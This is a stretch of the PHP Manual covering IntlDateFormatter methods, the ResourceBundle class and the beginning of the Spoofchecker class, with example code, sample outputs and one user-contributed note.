IntlDateFormatter::getPattern
IntlDateFormatter::getTimeZoneId
IntlDateFormatter


Get the timezone-id used for the IntlDateFormatter

IntlDateFormatter::getTimeType
IntlDateFormatter::isLenient
IntlDateFormatter
PHP Manual

IntlDateFormatter::getTimeZoneId

datefmt_get_timezone_id

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeZoneId -- datefmt_get_timezone_id — Get the timezone-id used for the IntlDateFormatter

Description

Object oriented style

string IntlDateFormatter::getTimeZoneId ( void )

Procedural style

string datefmt_get_timezone_id ( IntlDateFormatter $fmt )

Get the timezone-id used for the IntlDateFormatter.

Parameters

fmt

The formatter resource.

Return Values

ID string for the time zone used by this formatter.

Examples

Example #1 datefmt_get_timezone_id() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "timezone_id of the formatter is : ".datefmt_get_timezone_id($fmt);
datefmt_set_timezone_id($fmt,'CN');
echo "Now timezone_id of the formatter is : ".datefmt_get_timezone_id($fmt);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "timezone_id of the formatter is : ".$fmt->getTimezoneId();
$fmt->setTimezoneId('CN');
echo "Now timezone_id of the formatter is : ".$fmt->getTimezoneId();

?>

The above example will output:

timezone_id of the formatter is : America/Los_Angeles
Now timezone_id of the formatter is : CN

See Also

  • datefmt_set_timezone_id() - Sets the time zone to use
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getTimeType
IntlDateFormatter::isLenient
IntlDateFormatter


Get the lenient used for the IntlDateFormatter

IntlDateFormatter::getTimeZoneId
IntlDateFormatter::localtime
IntlDateFormatter
PHP Manual

IntlDateFormatter::isLenient

datefmt_is_lenient

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::isLenient -- datefmt_is_lenient — Get the lenient used for the IntlDateFormatter

Description

Object oriented style

bool IntlDateFormatter::isLenient ( void )

Procedural style

bool datefmt_is_lenient ( IntlDateFormatter $fmt )

Check if the parser is strict or lenient in interpreting inputs that do not match the pattern exactly.

Parameters

fmt

The formatter resource.

Return Values

TRUE if parser is lenient, FALSE if parser is strict. By default the parser is strict.

Examples

Example #1 datefmt_is_lenient() example

<?php
$fmt = datefmt_create( "en_US", IntlDateFormatter::FULL, IntlDateFormatter::FULL, 'America/Los_Angeles', IntlDateFormatter::GREGORIAN, "dd/mm/yyyy");
echo "lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
datefmt_parse($fmt,"35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .datefmt_parse($fmt,"35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}
datefmt_set_lenient($fmt,false);
echo "Now lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
datefmt_parse($fmt,"35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .datefmt_parse($fmt,"35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter("en_US", IntlDateFormatter::FULL, IntlDateFormatter::FULL, 'America/Los_Angeles', IntlDateFormatter::GREGORIAN, "dd/mm/yyyy"  );
echo "lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
$fmt->parse("35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .$fmt->parse("35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo "Now lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
$fmt->parse("35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .$fmt->parse("35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}

?>

The above example will output:

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : -2147483
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is : Error_msg is : Date parsing failed: U_PARSE_ERROR Error_code is : 9

See Also

  • datefmt_set_lenient() - Set the leniency of the parser
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getTimeZoneId
IntlDateFormatter::localtime
IntlDateFormatter


Parse string to a field-based time value

IntlDateFormatter::isLenient
IntlDateFormatter::parse
IntlDateFormatter
PHP Manual

IntlDateFormatter::localtime

datefmt_localtime

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::localtime -- datefmt_localtime — Parse string to a field-based time value

Description

Object oriented style

array IntlDateFormatter::localtime ( string $value [, int &$position ] )

Procedural style

array datefmt_localtime ( IntlDateFormatter $fmt , string $value [, int &$position ] )

Converts string $value to a field-based time value ( an array of various fields), starting at $parse_pos and consuming as much of the input value as possible.

Parameters

fmt

The formatter resource

value

string to convert to a time

position

Position at which to start the parsing in $value (zero-based). If no error occurs before $value is consumed, $parse_pos will contain -1 otherwise it will contain the position at which parsing ended . If $parse_pos > strlen($value), the parse fails immediately.

Return Values

Localtime compatible array of integers : contains 24 hour clock value in tm_hour field

Examples

Example #1 datefmt_localtime() example

<?php

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
$arr = datefmt_localtime( $fmt, "Wednesday, December 31, 1969 4:00:00 PM PT",0);
echo "First parsed output is ";
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
$arr = $fmt->localtime( "Wednesday, December 31, 1969 4:00:00 PM PT",0);
echo "First parsed output is ";
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}

?>

The above example will output:

First parsed output is tm_sec : 0 , tm_min : 0 , tm_hour : 16 , tm_year : 1969 ,
tm_mday : 31 , tm_wday : 4 , tm_yday : 365 , tm_mon : 11 , tm_isdst : 0 ,

See Also

  • datefmt_create() - Create a date formatter
  • datefmt_format() - Format the date/time value as a string
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::isLenient
IntlDateFormatter::parse
IntlDateFormatter


Parse string to a timestamp value

IntlDateFormatter::localtime
IntlDateFormatter::setCalendar
IntlDateFormatter
PHP Manual

IntlDateFormatter::parse

datefmt_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::parse -- datefmt_parse — Parse string to a timestamp value

Description

Object oriented style

int IntlDateFormatter::parse ( string $value [, int &$position ] )

Procedural style

int datefmt_parse ( IntlDateFormatter $fmt , string $value [, int &$position ] )

Converts string $value to an incremental time value, starting at $parse_pos and consuming as much of the input value as possible.

Parameters

fmt

The formatter resource

value

string to convert to a time

position

Position at which to start the parsing in $value (zero-based). If no error occurs before $value is consumed, $parse_pos will contain -1 otherwise it will contain the position at which parsing ended (and the error occurred). This variable will contain the end position if the parse fails. If $parse_pos > strlen($value), the parse fails immediately.

Return Values

timestamp parsed value

Examples

Example #1 datefmt_parse() example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First parsed output is ".$fmt->parse("Wednesday, December 20, 1989 4:00:00 PM PT");
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second parsed output is ".$fmt->parse("Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00");
?>

Example #2 OO example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First parsed output is ".datefmt_parse( $fmt ,  "Wednesday, December 20, 1989 4:00:00 PM PT");
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second parsed output is ".datefmt_parse( $fmt , "Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00");
?>

The above example will output:

First parsed output is 630201600
Second parsed output is 630201600

See Also

  • datefmt_create() - Create a date formatter
  • datefmt_format() - Format the date/time value as a string
  • datefmt_localtime() - Parse string to a field-based time value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::localtime
IntlDateFormatter::setCalendar
IntlDateFormatter


sets the calendar used to the appropriate calendar, which must be

IntlDateFormatter::parse
IntlDateFormatter::setLenient
IntlDateFormatter
PHP Manual

IntlDateFormatter::setCalendar

datefmt_set_calendar

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setCalendar -- datefmt_set_calendar — sets the calendar used to the appropriate calendar, which must be

Description

Object oriented style

bool IntlDateFormatter::setCalendar ( int $which )

Procedural style

bool datefmt_set_calendar ( IntlDateFormatter $fmt , int $which )

Sets the calendar used by the formatter.

Parameters

fmt

The formatter resource.

which

The calendar to use. Default is IntlDateFormatter::GREGORIAN.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 datefmt_set_calendar() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "calendar of the formatter is : ".datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt,IntlDateFormatter::TRADITIONAL);
echo "Now calendar of the formatter is : ".datefmt_get_calendar($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "calendar of the formatter is : ".$fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo "Now calendar of the formatter is : ".$fmt->getCalendar();
?>

The above example will output:

calendar of the formatter is : 1
Now calendar of the formatter is : 0

See Also

  • datefmt_get_calendar() - Get the calendar used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::parse
IntlDateFormatter::setLenient
IntlDateFormatter


Set the leniency of the parser

IntlDateFormatter::setCalendar
IntlDateFormatter::setPattern
IntlDateFormatter
PHP Manual

IntlDateFormatter::setLenient

datefmt_set_lenient

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setLenient -- datefmt_set_lenient — Set the leniency of the parser

Description

Object oriented style

bool IntlDateFormatter::setLenient ( bool $lenient )

Procedural style

bool datefmt_set_lenient ( IntlDateFormatter $fmt , bool $lenient )

Define if the parser is strict or lenient in interpreting inputs that do not match the pattern exactly. Enabling lenient parsing allows the parser to accept otherwise flawed date or time patterns, parsing as much as possible to obtain a value. Extra space, unrecognized tokens, or invalid values ("February 30th") are not accepted.

Parameters

fmt

The formatter resource

lenient

Sets whether the parser is lenient or not, default is FALSE (strict).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 datefmt_set_lenient() example

<?php
$fmt = datefmt_create("en_US", IntlDateFormatter::FULL, IntlDateFormatter::FULL, 'America/Los_Angeles', IntlDateFormatter::GREGORIAN, "dd/mm/yyyy");
echo "lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
datefmt_parse($fmt,"35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .datefmt_parse($fmt,"35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}
datefmt_set_lenient($fmt,false);
echo "Now lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
datefmt_parse($fmt,"35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .datefmt_parse($fmt,"35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter("en_US", IntlDateFormatter::FULL, IntlDateFormatter::FULL, 'America/Los_Angeles', IntlDateFormatter::GREGORIAN, "dd/mm/yyyy");
echo "lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
$fmt->parse("35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .$fmt->parse("35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo "Now lenient of the formatter is : ";
if( $fmt->isLenient() ){
        echo('TRUE');
}else{
        echo('FALSE');
}
$fmt->parse("35/13/1971");
echo "\n Trying to do parse('35/13/1971').Result is : " .$fmt->parse("35/13/1971");
if( intl_get_error_code() !=0 ){
        echo "Error_msg is : ".intl_get_error_message();
        echo "Error_code is : ".intl_get_error_code();
}

?>

The above example will output:

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : -2147483
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is : Error_msg is : Date parsing failed: U_PARSE_ERROR Error_code is : 9

See Also

  • datefmt_is_lenient() - Get the lenient used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::setCalendar
IntlDateFormatter::setPattern
IntlDateFormatter


Set the pattern used for the IntlDateFormatter

IntlDateFormatter::setLenient
IntlDateFormatter::setTimeZoneId
IntlDateFormatter
PHP Manual

IntlDateFormatter::setPattern

datefmt_set_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setPattern -- datefmt_set_pattern — Set the pattern used for the IntlDateFormatter

Description

Object oriented style

bool IntlDateFormatter::setPattern ( string $pattern )

Procedural style

bool datefmt_set_pattern ( IntlDateFormatter $fmt , string $pattern )

Set the pattern used for the IntlDateFormatter.

Parameters

fmt

The formatter resource.

pattern

New pattern string to use. Possible patterns are documented at » http://userguide.icu-project.org/formatparse/datetime.

Return Values

Returns TRUE on success or FALSE on failure. Bad formatstrings are usually the cause of the failure.

Examples

Example #1 datefmt_set_pattern() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "pattern of the formatter is : ".datefmt_get_pattern($fmt);
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
datefmt_set_pattern($fmt,'yyyymmdd hh:mm:ss z');
echo "Now pattern of the formatter is : ".datefmt_get_pattern($fmt);
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN,"MM/dd/yyyy"  );
echo "pattern of the formatter is : ".$fmt->getPattern();
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo "Now pattern of the formatter is : ".$fmt->getPattern();
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

?>

The above example will output:

pattern of the formatter is : MM/dd/yyyy
First Formatted output with pattern is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output with pattern is 19690031 04:00:00 PST

See Also

  • datefmt_get_pattern() - Get the pattern used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::setLenient
IntlDateFormatter::setTimeZoneId
IntlDateFormatter


Sets the time zone to use

IntlDateFormatter::setPattern
ResourceBundle
IntlDateFormatter
PHP Manual

IntlDateFormatter::setTimeZoneId

datefmt_set_timezone_id

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setTimeZoneId -- datefmt_set_timezone_id — Sets the time zone to use

Description

Object oriented style

bool IntlDateFormatter::setTimeZoneId ( string $zone )

Procedural style

bool datefmt_set_timezone_id ( IntlDateFormatter $fmt , string $zone )

Sets the time zone to use.

Parameters

fmt

The formatter resource.

zone

The time zone ID string of the time zone to use. If NULL or the empty string, the default time zone for the runtime is used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 datefmt_set_timezone_id() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "timezone_id of the formatter is : ".datefmt_get_timezone_id($fmt);
datefmt_set_timezone_id($fmt,'CN');
echo "Now timezone_id of the formatter is : ".datefmt_get_timezone_id($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "timezone_id of the formatter is : ".$fmt->getTimezoneId();
$fmt->setTimezoneId('CN');
echo "Now timezone_id of the formatter is : ".$fmt->getTimezoneId();

?>

The above example will output:

timezone_id of the formatter is : America/Los_Angeles
Now timezone_id of the formatter is : CN

See Also

  • datefmt_get_timezone_id() - Get the timezone-id used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::setPattern
ResourceBundle
IntlDateFormatter


The ResourceBundle class

(PHP > 5.4.0)

Introduction

Localized software products often require sets of data that are to be customized depending on current locale, e.g.: messages, labels, formatting patterns. ICU resource mechanism allows to define sets of resources that the application can load on locale basis, while accessing them in unified locale-independent fashion.

This class implements access to ICU resource data files. These files are binary data arrays which ICU uses to store the localized data.

ICU resource bundle can hold simple resources and complex resources. Complex resources are containers which can be either integer-indexed or string-indexed (just like PHP arrays). Simple resources can be of the following typos: string, integer, binary data field or integer array.

ResourceBundle supports direct access to the data through array access pattern and iteration via foreach, as well as access via class methods. The result will be PHP value for simple resources and ResourceBundle object for complex ones. All resources are read-only.

Class synopsis

ResourceBundle {
/* Methods */
__construct ( string $locale , string $bundlename [, bool $fallback ] )
int count ( void )
static ResourceBundle create ( string $locale , string $bundlename [, bool $fallback ] )
int getErrorCode ( void )
string getErrorMessage ( void )
mixed get ( string|int $index )
array getLocales ( string $bundlename )
}

See Also

  • » ICU Resource Management
  • » ICU Data

Table of Contents

  • ResourceBundle::count — Get number of elements in the bundle
  • ResourceBundle::create — Create a resource bundle
  • ResourceBundle::getErrorCode — Get bundle's last error code.
  • ResourceBundle::getErrorMessage — Get bundle's last error message.
  • ResourceBundle::get — Get data from the bundle
  • ResourceBundle::getLocales — Get supported locales

User Contributed Notes

maiseralves at gmail dot com 19-May-2011 01:03
<?php
/*
 * Struct of a Resource Bundle file
 * file root.txt
 * root:table {
 *       usage:string { "Usage: genrb [Options] files" }
 *       version:int { 122 }
 *       errorcodes:array {
 *           :string { "Invalid argument" }
 *           :string { "File not found" }
 *        }
 *   }
 * use: $genrb root.txt to generate resource bundle file (root.res)
 */

//recursive function to list a resource bundle file structure using a ResourceBundle Object ( ) reference
function t($rb) {
    foreach($rb as $k => $v) {
        if(is_object($v)) {
            print_r($v);
            var_dump($k);
            t($v);
        } else {
            var_dump($k . " " . $v);
        }
    }
}
//open root.res from folder locale
$rb = new ResourceBundle('root', "./locale");

t($rb);//call the function

/* The output from root table is
 *   |- string(34) "usage Usage: genrb [Options] files"
 *   |- string(11) "version 122"
 *   |- ResourceBundle Object ( ) string(10) "errorcodes"
 *         |- string(18) "0 Invalid argument"
 *         |- string(16) "1 File not found"
 */
?>
IntlDateFormatter::setTimeZoneId
ResourceBundle::count
intl


Get number of elements in the bundle

ResourceBundle
ResourceBundle::create
ResourceBundle
PHP Manual

ResourceBundle::count

resourcebundle_count

(PHP > 5.4.0)

ResourceBundle::count -- resourcebundle_count — Get number of elements in the bundle

Description

Object oriented style

int ResourceBundle::count ( void )

Procedural style

int resourcebundle_count ( ResourceBundle $r )

Get the number of elements in the bundle.

Parameters

r

ResourceBundle object.

Return Values

Returns number of elements in the bundle.

Examples

Example #1 resourcebundle_count() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_count($r);
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->count();
?>

The above example will output:

42

See Also

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle
ResourceBundle::create
ResourceBundle


Create a resource bundle

ResourceBundle::count
ResourceBundle::getErrorCode
ResourceBundle
PHP Manual

ResourceBundle::create

resourcebundle_create

ResourceBundle::__construct

(PHP > 5.4.0)

ResourceBundle::create -- resourcebundle_create -- ResourceBundle::__construct — Create a resource bundle

Description

Object oriented style (method)

static ResourceBundle ResourceBundle::create ( string $locale , string $bundlename [, bool $fallback ] )

Procedural style

ResourceBundle resourcebundle_create ( string $locale , string $bundlename [, bool $fallback ] )

Object oriented style (constructor):

ResourceBundle::__construct() ( string $locale , string $bundlename [, bool $fallback ] )

Creates a resource bundle.

Parameters

locale

Locale for which the resources should be loaded (locale name, e.g. en_CA).

bundlename

The directory where the data is stored or the name of the .dat file.

fallback

Whether locale should match exactly or fallback to parent locale is allowed.

Return Values

Returns ResourceBundle object or FALSE on error.

Examples

Example #1 resourcebundle_create() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

Example #2 ResourceBundle::create() example

<?php
$r = ResourceBundle::create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

The above example will output:

¡Hola, mundo!

See Also

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle::count
ResourceBundle::getErrorCode
ResourceBundle


Get bundle's last error code.

ResourceBundle::create
ResourceBundle::getErrorMessage
ResourceBundle
PHP Manual

ResourceBundle::getErrorCode

resourcebundle_get_error_code

(PHP > 5.4.0)

ResourceBundle::getErrorCode -- resourcebundle_get_error_code — Get bundle's last error code.

Description

Object oriented style

int ResourceBundle::getErrorCode ( void )

Procedural style

int resourcebundle_get_error_code ( ResourceBundle $r )

Get error code from the last function performed by the bundle object.

Parameters

r

ResourceBundle object.

Return Values

Returns error code from last bundle object call.

Examples

Example #1 resourcebundle_get_error_code() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
    report_error("Bundle error");
}
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
    report_error("Bundle error");
}
?>

See Also

  • resourcebundle_get_error_message() - Get bundle's last error message.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle::create
ResourceBundle::getErrorMessage
ResourceBundle


Get bundle's last error message.

ResourceBundle::getErrorCode
ResourceBundle::get
ResourceBundle
PHP Manual

ResourceBundle::getErrorMessage

resourcebundle_get_error_message

(PHP > 5.4.0)

ResourceBundle::getErrorMessage -- resourcebundle_get_error_message — Get bundle's last error message.

Description

Object oriented style

string ResourceBundle::getErrorMessage ( void )

Procedural style

string resourcebundle_get_error_message ( ResourceBundle $r )

Get error message from the last function performed by the bundle object.

Parameters

r

ResourceBundle object.

Return Values

Returns error message from last bundle object's call.

Examples

Example #1 resourcebundle_get_error_message() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
    report_error("Bundle error: ".resourcebundle_get_error_message($r));
}
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
    report_error("Bundle error: ".ResourceBundle::getErrorMessage($r));
}
?>

See Also

  • resourcebundle_get_error_code() - Get bundle's last error code.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle::getErrorCode
ResourceBundle::get
ResourceBundle


Get data from the bundle

ResourceBundle::getErrorMessage
ResourceBundle::getLocales
ResourceBundle
PHP Manual

ResourceBundle::get

resourcebundle_get

(PHP > 5.4.0)

ResourceBundle::get -- resourcebundle_get — Get data from the bundle

Description

Object oriented style

mixed ResourceBundle::get ( string|int $index )

Procedural style

mixed resourcebundle_get ( ResourceBundle $r , string|int $index )

Get the data from the bundle by index or string key.

Parameters

r

ResourceBundle object.

index

Data index, must be string or integer.

Return Values

Returns the data located at the index or NULL on error. Strings, integers and binary data strings are returned as corresponding PHP types, integer array is returned as PHP array. Complex types are returned as ResourceBundle object.

Examples

Example #1 resourcebundle_get() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_get($r, 'somestring');
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->get('somestring');
?>

The above example will output:

?Hola, mundo!

See Also

  • resourcebundle_count() - Get number of elements in the bundle

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle::getErrorMessage
ResourceBundle::getLocales
ResourceBundle


Get supported locales

ResourceBundle::get
Spoofchecker
ResourceBundle
PHP Manual

ResourceBundle::getLocales

resourcebundle_locales

(PHP > 5.4.0)

ResourceBundle::getLocales -- resourcebundle_locales — Get supported locales

Description

Object oriented style

array ResourceBundle::getLocales ( string $bundlename )

Procedural style

array resourcebundle_locales ( string $bundlename )

Get available locales from ResourceBundle name.

Parameters

bundlename

Path of ResourceBundle for which to get available locales, or empty string for default locales list.

Return Values

Returns the list of locales supported by the bundle.

Examples

Example #1 resourcebundle_locales() example

<?php
$bundle = "/user/share/data/myapp";
echo join(PHP_EOL, resourcebundle_locales($bundle);
?>

The above example will output something similar to:

es
root

Example #2 OO example

<?php
$bundle = "/usr/share/data/myapp";
$r = new ResourceBundle( 'es', $bundle);
echo join("\n", $r->getLocales($bundle));
?>

The above example will output something similar to:

es
root

See Also

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle::get
Spoofchecker
ResourceBundle


The Spoofchecker class

(PHP > 5.4.0)

Introduction

Class synopsis

Spoofchecker {
/* Constants */
const integer SINGLE_SCRIPT_CONFUSABLE = 1 ;
const integer MIXED_SCRIPT_CONFUSABLE = 2 ;
const integer WHOLE_SCRIPT_CONFUSABLE = 4 ;
const integer ANY_CASE = 8 ;
const integer SINGLE_SCRIPT = 16 ;
const integer INVISIBLE = 32 ;
const integer CHAR_LIMIT = 64 ;
/* Methods */
public bool areConfusable ( string $s1 , string $s2 [, string &$error ] )
public __construct ( void )
public bool isSuspicious ( string $text [, string &$error ] )
public void setAllowedLocales ( string $locale_list )
public void setChecks ( string $checks )
}

Predefined Constants

Spoofchecker::SINGLE_SCRIPT_CONFUSABLE

Spoofchecker::MIXED_SCRIPT_CONFUSABLE

Spoofchecker::WHOLE_SCRIPT_CONFUSABLE

Spoofchecker::ANY_CASE

Spoofchecker::SINGLE_SCRIPT

Spoofchecker::INVISIBLE

Spoofchecker::CHAR_LIMIT

Table of Contents

  • Spoofchecker::areConfusable — Checks if a given text contains any confusable characters
  • Spoofchecker::__construct — Constructor
  • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
  • Spoofchecker::setAllowedLocales — Locales to use when running checks
  • Spoofchecker::setChecks — Set the checks to run

User Contributed Notes

There are no user contributed notes for this page.
ResourceBundle::getLocales
Spoofchecker::areConfusable
intl


Checks if a given text contains any confusable characters

Spoofchecker
Spoofchecker::__construct
Spoofchecker
PHP Manual

Spoofchecker::areConfusable

(PHP > 5.4.0)

Spoofchecker::areConfusable — Checks if a given text contains any confusable characters

Description

public bool Spoofchecker::areConfusable ( string $s1 , string $s2 [, string &$error ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

s1

s2

error

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Spoofchecker
Spoofchecker::__construct
Spoofchecker


Constructor

Spoofchecker::areConfusable
Spoofchecker::isSuspicious
Spoofchecker
PHP Manual

Spoofchecker::__construct

(PHP > 5.4.0)

Spoofchecker::__construct — Constructor

Description

public Spoofchecker::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Spoofchecker::areConfusable
Spoofchecker::isSuspicious
Spoofchecker


Checks if a given text contains any suspicious characters

Spoofchecker::__construct
Spoofchecker::setAllowedLocales
Spoofchecker
